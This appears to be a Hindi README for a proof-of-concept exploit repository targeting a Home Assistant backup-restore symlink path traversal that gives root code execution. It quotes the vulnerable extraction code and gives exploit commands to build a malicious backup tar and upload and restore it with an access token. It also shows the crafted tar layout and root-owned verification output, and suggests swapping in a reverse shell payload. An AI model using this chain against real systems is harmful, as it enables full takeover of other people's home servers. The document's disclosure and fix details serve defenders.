
CVE-2026-64824 — Home Assistant बैकअप-पुनर्स्थापना सिमलिंक पथ ट्रैवर्सल → रूट RCE। पहला कार्यशील PoC, वास्तविक HA 2026.5.4 पर सत्यापित (sitecustomize.py अधिलेखन)। GHSA-cwh8-w64c-4j5h
CVSS 8.4 (Critical) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59
प्रमाणित (एडमिन) हमलावर एक क्राफ्टेड बैकअप tar अपलोड करता है। रिस्टोर पाथ आंतरिक homeassistant.tar.gz को filter="fully_trusted" के साथ एक्सट्रैक्ट करता है और केवल मेंबर नामों की वैधता जाँचता है — SYMTYPE लिंकनामों की कभी नहीं। किसी एब्सोल्यूट पाथ (जैसे Python का site-packages/) की ओर इशारा करने वाले सिमलिंक को मान लिया जाता है, इसलिए उसके बाद लिखा गया sitecustomize.py एक्सट्रैक्शन डायरेक्टरी के बाहर रूट के रूप में पहुँच जाता है (आधिकारिक Docker इमेज HA को रूट के रूप में चलाती है)। अगली Python स्टार्ट पर यह स्वतः इम्पोर्ट हो जाता है → रूट के रूप में RCE।
✅ वास्तविक Home Assistant Core 2026.5.4 (Docker, arm64, Python 3.14.2):
POST /api/backup/upload?agent_id=backup.local → 201 {"backup_id": "..."}
websocket backup/restore → executed (config replaced)
$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
✅ sitecustomize.py /usr/local/lib/python3.14/site-packages/ में पहुँचा (रूट-स्वामित्व वाला)
✅ नेगेटिव जाँच: Python 3.14.5 का tarfile एब्सोल्यूट सिमलिंक को अस्वीकार करता है (FileExistsError); Python 3.14.2 (HA 2026.5.x के साथ आता है) उन्हें एक्सट्रैक्ट करता है — यही कारण है कि पुराने बिल्ड शोषण योग्य हैं। HA 2026.7.0 में फिक्स किया गया।
homeassistant/backup_restore.py (~v2026.5.x):
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf), # validates member.name only!
filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)
secure_path() एब्सोल्यूट नामों और .. ट्रैवर्सल को अस्वीकार करता है, लेकिन एक सामान्य नाम + एब्सोल्यूट लिंकनाम वाला SYMTYPE मेंबर फिल्टर को बिना बदले पार कर जाता है, और fully_trusted tarfile को बताता है कि वह इसकी जाँच न करे।
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
--link-target /usr/local/lib/python3.14/site-packages/
# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
बैकअप प्रारूप (v2, वास्तविक HA बैकअप से मेल खाता है):
outer: ./backup.json {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
inner: data/evil_link/sitecustomize.py (payload)
किसी भी Python प्रोसेस के स्टार्ट होने पर (HA रीस्टार्ट, कंटेनर में python3 ...) sitecustomize.py ट्रिगर होता है — जो रूट के रूप में id > /tmp/HA_PWNED_64824 चलाता है। पूर्ण नियंत्रण के लिए पेलोड को रिवर्स शेल से बदल दें।
HA 2026.7.0+ पर अपग्रेड करें (रिस्टोर अब एक सख्त tar फिल्टर का उपयोग करता है जो एक्सट्रैक्शन डायरेक्टरी से बाहर निकलने वाली सिमलिंक एंट्री को अस्वीकार कर देता है)।
केवल शोध/शैक्षिक उद्देश्यों के लिए। यह कमज़ोरी पहले ही खुलासा हो चुकी थी (GHSA-cwh8-w64c-4j5h) और 2026.7.0 में फिक्स कर दी गई; यह रिपॉजिटरी डिफेंडरों और शोधकर्ताओं के लिए शोषण श्रृंखला का प्रदर्शन करती है।